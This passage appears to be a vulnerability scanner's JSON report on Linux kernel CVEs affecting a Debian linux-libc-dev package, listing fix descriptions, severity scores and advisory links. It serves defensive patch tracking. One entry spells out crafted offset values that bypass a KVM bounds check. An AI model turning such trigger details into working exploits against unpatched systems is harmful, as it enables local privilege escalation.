"https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52962" ], "PublishedDate": "2026-06-24T17:17:06.52Z", "LastModifiedDate": "2026-11-06T17:17:57.973Z" }, { "VulnerabilityID": "CVE-2026-52968", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52968", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22bf6778e8c51d4263763a416ec9bb3a486f53b65d202affde871fc8663919f6", "Title": "kernel: KVM: s390: pci: fix GAIT table indexing due to double-scaling pointer arithmetic", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: s390: pci: fix GAIT table indexing due to double-scaling pointer arithmetic\n\nkvm_s390_pci_aif_enable(), kvm_s390_pci_aif_disable(), and\naen_host_forward() index the GAIT by manually multiplying the index\nwith sizeof(struct zpci_gaite).\n\nSince aift-\u003egait is already a struct zpci_gaite pointer, this\ndouble-scales the offset, accessing element aisb*16 instead of aisb.\n\nThis causes out-of-bounds accesses when aisb \u003e= 32 (with\nZPCI_NR_DEVICES=512)\n\nFix by removing the erroneous sizeof multiplication.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52968", "https://git.kernel.org/linus/16d990a15491cf76cd6eef0846e1b4100e63261a%20%287.1-rc4%29", "https://git.kernel.org/stable/c/11b8ff5b930b351dd1f6f088dce0beb027ac92d0", "https://git.kernel.org/stable/c/16d990a15491cf76cd6eef0846e1b4100e63261a", "https://git.kernel.org/stable/c/31a9d9f9942885aae356a1a57c79e82c5b5b0828", "https://git.kernel.org/stable/c/a99a25db131ece5e6c0f7632da606de631efe4f2", "https://git.kernel.org/stable/c/b22a2da8792a7bfe743c1a922e77fa499ddedbe8", "https://git.kernel.org/stable/c/e7216651b94e92e5433fb2f54b77864642b4ea48", "https://lore.kernel.org/linux-cve-announce/2026062438-CVE-2026-52968-8803@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52968", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52968" ], "PublishedDate": "2026-06-24T17:17:07.243Z", "LastModifiedDate": "2026-10-19T20:18:51.607Z" }, { "VulnerabilityID": "CVE-2026-52969", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52969", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bfb3865f3565a468c969038505a836b5fde9af4be4773eec72fa2c490e75aede", "Title": "kernel: KVM: Reject wrapped offset in kvm_reset_dirty_gfn()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: Reject wrapped offset in kvm_reset_dirty_gfn()\n\nkvm_reset_dirty_gfn() guards the gfn range with\n\n\tif (!memslot || (offset + __fls(mask)) \u003e= memslot-\u003enpages)\n\t\treturn;\n\nbut offset is u64 and the addition is unchecked. The check can be\nsilently bypassed by a u64 wrap.\n\nThe dirty ring backing those entries is MAP_SHARED at\nKVM_DIRTY_LOG_PAGE_OFFSET of the vcpu fd, so the VMM can rewrite the\nslot and offset fields of any entry between when the kernel pushes\nthem and when KVM_RESET_DIRTY_RINGS consumes them. On reset,\nkvm_dirty_ring_reset() re-reads the values via READ_ONCE() and feeds\nthem straight back into this check; only the flags handshake is\ntreated as the handover, the slot/offset payload is taken on trust.\n\nCrafting two entries\n\n\tentry[i].offset = 0xffffffffffffffc1\n\tentry[i+1].offset = 0\n\nmakes the coalescing loop in kvm_dirty_ring_reset() compute\n\n\tdelta = (s64)(0 - 0xffffffffffffffc1) = 63\n\nwhich falls in [0, BITS_PER_LONG), so it folds entry[i+1] into the\nexisting mask by setting bit 63. The trailing kvm_reset_dirty_gfn()\ncall then sees offset = 0xffffffffffffffc1 and __fls(mask) = 63;\nthe sum is 0 in u64 and the bounds check passes.\n\nThat offset propagates into kvm_arch_mmu_enable_log_dirty_pt_masked()\nunchanged. On the legacy MMU path -- kvm_memslots_have_rmaps() ==\ntrue, i.e. shadow paging, any VM that has allocated shadow roots, or\na write-tracked slot -- it reaches gfn_to_rmap(), which indexes\nslot-\u003earch.rmap[0][] with a near-U64_MAX gfn. That is an\nout-of-bounds load of a kvm_rmap_head, followed by a conditional\nclear of PT_WRITABLE_MASK in whatever the loaded pointer points at.\nThe path is reachable from any process holding /dev/kvm.\n\nRange-check offset on its own first, so the addition cannot wrap.\nmemslot-\u003enpages is bounded well below U64_MAX, so once offset \u003c\nnpages holds, offset + __fls(mask) (with __fls(mask) \u003c BITS_PER_LONG)\nstays in range.", "Severity": "HIGH", "CweIDs": [ "CWE-129", "CWE-190" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52969", "https://bugzilla.redhat.com/show_bug.cgi?id=2492434", "https://git.kernel.org/linus/577a8d3bae0531f0e5ccfac919cd8192f920a804%20%287.1-rc4%29", "https://git.kernel.org/stable/c/01b71b930f15728aa8599478a7ce90c19dcd9fc2", "https://git.kernel.org/stable/c/0d419c23bb11b5c9664de777c47c1f04a235882d", "https://git.kernel.org/stable/c/0eb281eb95b2d4eea4db1da5fe91023aecc97095", "https://git.kernel.org/stable/c/577a8d3bae0531f0e5ccfac919cd8192f920a804", "https://git.kernel.org/stable/c/74f1a22f7a80f03d28ad8551a2d25d563433addf", "https://git.kernel.org/stable/c/b315b033a877b1ee6d827810b5d7bb4392ffcf8d", "https://git.kernel.org/stable/c/ecf9b3ea7847fe14f34b8c41f00de1eb95c747da", "https://linux.oracle.com/cve/CVE-2026-52969.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062439-CVE-2026-52969-8aa9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52969", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52969.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52969" ], "PublishedDate": "2026-06-24T17:17:07.367Z", "LastModifiedDate": "2026-07-15T01:16:24.59Z" }, { "VulnerabilityID": "CVE-2026-52991", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52991", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:220286b7012e520da4b8fac91b3d01709732217fb29c3f8e42d66794fde05eee", "Title": "kernel: sched/psi: fix race between file release and pressure write", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/psi: fix race between file release and pressure write\n\nA potential race condition exists between pressure write and cgroup file\nrelease regarding the priv member of struct kernfs_open_file, which\ntriggers the uaf reported in [1].\n\nConsider the following scenario involving execution on two separate CPUs:\n\n CPU0\t\t\t\t\tCPU1\n ====\t\t\t\t\t====\n\t\t\t\t\tvfs_rmdir()\n\t\t\t\t\tkernfs_iop_rmdir()\n\t\t\t\t\tcgroup_rmdir()\n\t\t\t\t\tcgroup_kn_lock_live()\n\t\t\t\t\tcgroup_destroy_locked()\n\t\t\t\t\tcgroup_addrm_files()\n\t\t\t\t\tcgroup_rm_file()\n\t\t\t\t\tkernfs_remove_by_name()\n\t\t\t\t\tkernfs_remove_by_name_ns()\n vfs_write()\t\t\t\t__kernfs_remove()\n new_sync_write()\t\t\tkernfs_drain()\n kernfs_fop_write_iter()\t\tkernfs_drain_open_files()\n cgroup_file_write()\t\t\tkernfs_release_file()\n pressure_write()\t\t\tcgroup_file_release()\n ctx = of-\u003epriv;\n\t\t\t\t\tkfree(ctx);\n \t\t\t\t\tof-\u003epriv = NULL;\n\t\t\t\t\tcgroup_kn_unlock()\n cgroup_kn_lock_live()\n cgroup_get(cgrp)\n cgroup_kn_unlock()\n if (ctx-\u003epsi.trigger) // here, trigger uaf for ctx, that is of-\u003epriv\n\nThe cgroup_rmdir() is protected by the cgroup_mutex, it also safeguards\nthe memory deallocation of of-\u003epriv performed within cgroup_file_release().\nHowever, the operations involving of-\u003epriv executed within pressure_write()\nare not entirely covered by the protection of cgroup_mutex. Consequently,\nif the code in pressure_write(), specifically the section handling the\nctx variable executes after cgroup_file_release() has completed, a uaf\nvulnerability involving of-\u003epriv is triggered.\n\nTherefore, the issue can be resolved by extending the scope of the\ncgroup_mutex lock within pressure_write() to encompass all code paths\ninvolving of-\u003epriv, thereby properly synchronizing the race condition\noccurring between cgroup_file_release() and pressure_write().\n\nAnd, if an live kn lock can be successfully acquired while executing\nthe pressure write operation, it indicates that the cgroup deletion\nprocess has not yet reached its final stage; consequently, the priv\npointer within open_file cannot be NULL. Therefore, the operation to\nretrieve the ctx value must be moved to a point *after* the live kn\nlock has been successfully acquired.\n\nIn another situation, specifically after entering cgroup_kn_lock_live()\nbut before acquiring cgroup_mutex, there exists a different class of\nrace condition:\n\nCPU0: write memory.pressure CPU1: write cgroup.pressure=0\n===========================\t\t =============================\n\nkernfs_fop_write_iter()\n kernfs_get_active_of(of)\n pressure_write()\n cgroup_kn_lock_live(memory.pressure)\n cgroup_tryget(cgrp)\n kernfs_break_active_protection(kn)\n ... blocks on cgroup_mutex\n\n \t cgroup_pressure_write()\n \t cgroup_kn_lock_live(cgroup.pressure)\n \t cgroup_file_show(memory.pressure, false)\n \t kernfs_show(false)\n \t kernfs_drain_open_files()\n \t cgroup_file_release(of)\n \t kfree(ctx)\n \t of-\u003epriv = NULL\n \t cgroup_kn_unlock()\n\n ... acquires cgroup_mutex\n ctx = of-\u003epriv; // may now be NULL\n if (ctx-\u003epsi.trigger) // NULL dereference\n\nConsequently, there is a possibility that of-\u003epriv is NULL, the pressure\nwrite needs to check for this.\n\nNow that the scope of the cgroup_mutex has been expanded, the original\nexplicit cgroup_get/put operations are no longer necessary, this is\nbecause acquiring/releasing the live kn lock inherently executes a\ncgroup get/put operation.\n\n[1]\nBUG: KASAN: slab-use-after-free in pressure_write+0xa4/0x210 kernel/cgroup/cgroup.c:4011\nCall Trace:\n pressure_write+0xa4/0x210 kernel/cgroup/cgroup.c:4011\n cgroup_file_write+0x36f/0x790 kernel/cgroup/cgroup.c:43\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-367" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57251", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/errata/RHSA-2026:57253", "https://access.redhat.com/errata/RHSA-2026:57254", "https://access.redhat.com/security/cve/CVE-2026-52991", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/a5b98009f16d8a5fb4a8ff9a193f5735515c38fa%20%287.1-rc2%29", "https://git.kernel.org/stable/c/03dc070fa0fc3cb4068693f468ccd5f8a7e58282", "https://git.kernel.org/stable/c/58e6ca11e45c9d6e52255d1135e7dbff0a360334", "https://git.kernel.org/stable/c/a5b98009f16d8a5fb4a8ff9a193f5735515c38fa", "https://git.kernel.org/stable/c/af0638534bfae7980582c6482531a0872f8ee341", "https://git.kernel.org/stable/c/d4352c0709bfd38c752fccbde7fd72a82ac78f23", "https://git.kernel.org/stable/c/d8ddbc3330fa6851c56b046e630a8fc64830a0ce", "https://linux.oracle.com/cve/CVE-2026-52991.html", "https://linux.oracle.com/errata/ELSA-2026-57253.html", "https://lore.kernel.org/linux-cve-announce/2026062444-CVE-2026-52991-18fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52991", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52991.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-52991" ], "PublishedDate": "2026-06-24T17:17:09.953Z", "LastModifiedDate": "2026-10-30T13:19:05.697Z" }, { "VulnerabilityID": "CVE-2026-52992", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52992", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3ca5715797d093308d48d51084eea33703b6fbbbd4ab899c891a30b43d4ef0cd", "Title": "kernel: fs/adfs: validate nzones in adfs_validate_bblk()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/adfs: validate nzones in adfs_validate_bblk()\n\nReject ADFS disc records with a zero zone count during boot block\nvalidation, before the disc record is used.\n\nWhen nzones is 0, adfs_read_map() passes it to kmalloc_array(0, ...)\nwhich returns ZERO_SIZE_PTR, and adfs_map_layout() then writes to\ndm[-1], causing an out-of-bounds write before the allocated buffer.\n\nadfs_validate_dr0() already rejects nzones != 1 for old-format\nimages. Add the equivalent check to adfs_validate_bblk() for\nnew-format images so that a crafted image with nzones == 0 is\nrejected at probe time.\n\nFound by syzkaller.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52992", "https://git.kernel.org/linus/dd9d3e16c2d5fa166e13dce07413be51f42c8f5d%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1586bd2d2fb436a26df20a70e78b000d34a7d159", "https://git.kernel.org/stable/c/1f0ed0f57f0fc87e46fe19a05435c214dc464be2", "https://git.kernel.org/stable/c/33aafd2418a59c96c0389d47ea09026661fa9ec6", "https://git.kernel.org/stable/c/60d82592ac8b5637fbed871381eb0a16df0a492e", "https://git.kernel.org/stable/c/6ff8cca5cdb4f2e0ea6d28ecd78479dd3f221ebc", "https://git.kernel.org/stable/c/a11372a8b1ceaa5e950a84b3b5fbf8228f25e277", "https://git.kernel.org/stable/c/a3fd5dc1c7b0aae947a67dc2e2c037d57557a4de", "https://git.kernel.org/stable/c/dd9d3e16c2d5fa166e13dce07413be51f42c8f5d", "https://lore.kernel.org/linux-cve-announce/2026062444-CVE-2026-52992-af99@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52992", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52992" ], "PublishedDate": "2026-06-24T17:17:10.083Z", "LastModifiedDate": "2026-07-14T19:44:31.92Z" }, { "VulnerabilityID": "CVE-2026-52993", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52993", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f5e66687547ab6ec75e7318ae54c2ce0e66ddf6d062b92f5caf9b03e2f42c69e", "Title": "kernel: tipc: fix double-free in tipc_buf_append()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: fix double-free in tipc_buf_append()\n\ntipc_msg_validate() can potentially reallocate the skb it is validating,\nfreeing the old one. In tipc_buf_append(), it was being called with a\npointer to a local variable which was a copy of the caller's skb\npointer.\n\nIf the skb was reallocated and validation subsequently failed, the error\nhandling path would free the original skb pointer, which had already\nbeen freed, leading to double-free.\n\nFix this by checking if head now points to a newly allocated reassembled\nskb. If it does, reassign *headbuf for later freeing operations.", "Severity": "HIGH", "CweIDs": [ 